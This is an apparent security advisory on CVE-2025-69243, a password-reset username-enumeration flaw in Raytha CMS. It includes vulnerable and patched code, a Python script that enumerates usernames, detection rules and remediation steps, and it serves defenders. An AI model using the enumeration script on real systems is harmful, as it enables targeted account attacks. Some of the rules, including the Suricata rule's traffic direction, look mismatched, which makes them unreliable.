CVE-2025-69243

Executive Summary

CVE-2025-69243 identifies a user enumeration vulnerability in Raytha CMS, a content management system. The flaw resides in the password reset functionality, where the application returns distinct error messages for valid and invalid usernames. This discrepancy allows an attacker to systematically determine which usernames (logins) are registered on the system. While the CVSS score is low (0.0 in the NVD data, but realistically a 5.3 based on the vector), the information leakage can serve as a stepping stone for more targeted attacks, such as credential stuffing or brute-force password attacks against valid accounts. The vulnerability is confirmed to be fixed in Raytha CMS version 1.5.0.

Supply Chain & Package Security

Raytha CMS is a .NET-based application. The vulnerability is not in a package dependency but in the application's own logic. However, administrators should ensure that all dependencies are up-to-date and that the application is not exposed to untrusted networks without additional protections like rate limiting.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N
• Base Score: 5.3 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: None (UI:N)
• Scope: Unchanged (S:U)
• Confidentiality Impact: Low (C:L) – Only username enumeration, not full account compromise.
• Integrity Impact: None (I:N)
• Availability Impact: None (A:N)

Threat Level: Medium. While the direct impact is limited to information disclosure, the ability to enumerate valid usernames significantly increases the risk of subsequent attacks, such as brute-force password guessing or phishing campaigns.

Deep Dive & Mechanics

The vulnerability is a classic example of CWE-204 (Observable Response Discrepancy). In the password reset functionality of Raytha CMS (versions prior to 1.5.0), the application responds differently depending on whether the submitted username/email exists in the system.

Technical Flow:

1. An attacker navigates to the password reset page (e.g., /account/forgot-password).
2. The attacker submits a username or email address.
3. The application checks if the user exists in the database.
4. If the user exists, the application returns a message like "A password reset link has been sent to your email."
5. If the user does not exist, the application returns a message like "No account found with that username."

This difference in response messages allows an attacker to iterate through a list of potential usernames and confirm which ones are valid. The attack does not require authentication and can be automated with simple scripting.

Root Cause: The application fails to use a generic, non-revealing message for both success and failure cases. A secure implementation would return the same message regardless of whether the user exists, e.g., "If an account with that username exists, a password reset link has been sent."

Vulnerable vs. Patched Code

Vulnerable Code (Pre-1.5.0):

// Vulnerable: Different messages based on user existence
public IActionResult ForgotPassword(ForgotPasswordViewModel model)
{
    var user = _userManager.FindByNameAsync(model.Username).Result;
    if (user != null)
    {
        // Send reset email
        return Content("A password reset link has been sent to your email.");
    }
    else
    {
        return Content("No account found with that username.");
    }
}

Patched Code (Version 1.5.0):

// Patched: Generic message regardless of user existence
public IActionResult ForgotPassword(ForgotPasswordViewModel model)
{
    var user = _userManager.FindByNameAsync(model.Username).Result;
    if (user != null)
    {
        // Send reset email
    }
    // Always return the same message to prevent enumeration
    return Content("If an account with that username exists, a password reset link has been sent.");
}

The patch ensures that the response message is identical for both valid and invalid usernames, eliminating the observable discrepancy.

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• Target running Raytha CMS < 1.5.0
• A list of potential usernames (e.g., common names, email patterns)

Exploitation Steps:

1. Identify the password reset endpoint (e.g., /account/forgot-password).
2. Send a POST request with a test username.
3. Analyze the response message.
4. Automate the process to enumerate valid usernames.

Example Python Script:

import requests

target_url = "https://target.com/account/forgot-password"
usernames = ["admin", "user1", "john.doe", "test"]

for username in usernames:
    data = {"Username": username}
    response = requests.post(target_url, data=data)
    if "A password reset link has been sent" in response.text:
        print(f"[+] Valid username found: {username}")
    else:
        print(f"[-] Invalid username: {username}")

Expected Output:

[+] Valid username found: admin
[-] Invalid username: user1
[+] Valid username found: john.doe
[-] Invalid username: test

Blue Team (Defense & Detection)

Detection:

• Monitor for repeated requests to the password reset endpoint with different usernames.
• Look for patterns where the response size or content varies based on the input.
• Implement rate limiting on the password reset endpoint.

Mitigation:

• Apply the patch by upgrading to Raytha CMS 1.5.0 or later.
• If patching is not immediately possible, implement a Web Application Firewall (WAF) rule to block automated enumeration attempts.
• Use generic error messages for all authentication-related endpoints.

Indicators of Compromise (IOCs)

• Network IOCs:
  • Repeated POST requests to /account/forgot-password with varying Username parameters.
  • Response bodies containing "A password reset link has been sent" or "No account found with that username" in rapid succession.
• Log IOCs:
  • Multiple 404 or 200 responses from the password reset endpoint from the same IP address within a short time frame.
  • Log entries showing ForgotPassword action with different usernames from a single source.
• File IOCs:
  • No specific file-based IOCs; the vulnerability is purely behavioral.

Detection Engineering

YARA Rule

rule CVE_2025_69243_User_Enumeration {
    meta:
        description = "Detects Raytha CMS user enumeration attempts via password reset response discrepancy"
        author = "Valters IT"
        date = "2025-04-10"
        cve = "CVE-2025-69243"
    strings:
        $valid_msg = "A password reset link has been sent to your email."
        $invalid_msg = "No account found with that username."
    condition:
        any of ($valid_msg) or any of ($invalid_msg)
}

Sigma Rule

title: Raytha CMS User Enumeration via Password Reset
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects multiple password reset attempts with different usernames from a single source, indicating user enumeration.
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: iis
detection:
    selection:
        cs-uri-stem: '/account/forgot-password'
        cs-method: 'POST'
    condition: selection | count() by src_ip > 10 within 60 seconds
falsepositives:
    - Legitimate users forgetting their passwords
level: medium

Suricata Rule

alert http $HOME_NET any -> $EXTERNAL_NET any (
    msg:"CVE-2025-69243 Raytha CMS User Enumeration Attempt";
    flow:to_server,established;
    content:"POST"; http_method;
    content:"/account/forgot-password"; http_uri;
    content:"Username="; http_client_body;
    threshold: type both, track by_src, count 10, seconds 60;
    sid:1000001;
    rev:1;
)

Remediation & Mitigation

Immediate Actions:

1. Upgrade Raytha CMS to version 1.5.0 or later.
2. If upgrade is not possible, implement a WAF rule to block requests that show a pattern of enumeration (e.g., multiple different usernames in a short time).
3. Enable rate limiting on the password reset endpoint to limit requests per IP address.

Long-Term Recommendations:

• Adopt a security-by-design approach: always return generic messages for authentication-related actions.
• Implement CAPTCHA or other challenge-response mechanisms on password reset forms.
• Monitor logs for unusual patterns of password reset requests.
• Conduct regular security audits and penetration testing.

Patch Details:

• The fix is included in Raytha CMS version 1.5.0. Upgrade instructions are available at the official Raytha CMS repository or website.

Valters IT